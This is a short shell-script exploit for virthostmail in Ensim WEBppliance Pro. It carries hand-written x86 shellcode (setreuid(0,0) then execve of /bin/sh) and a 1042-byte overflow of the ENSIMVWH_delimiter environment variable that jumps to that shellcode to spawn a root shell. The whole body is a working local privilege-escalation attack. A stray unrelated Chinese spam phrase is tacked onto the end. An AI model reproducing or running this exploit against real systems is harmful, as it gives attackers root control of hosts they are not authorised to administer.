#!/bin/sh # # Linux/x86 exploit for virthostmail, a part of ensim WEBppliance Pro. # # Exploit by Joel Eriksson # # bug found by kokanin , tested on ensim 3.5.20-7 and others. # code=` # setreuid(0, 0) printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" # execve("/bin/sh", "/bin/sh", NULL) printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" printf "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" ` prog=/usr/bin/virthostmail code_addr=`perl -e 'print 0xc0000000-4-length("'$prog'")-1-length("'$code'")-1'` exec env - ENSIMVWH_delimiter=`perl -e 'print "A"x1042 . pack("L", '$code_addr')'` code=$code $prog

亚洲欧美在线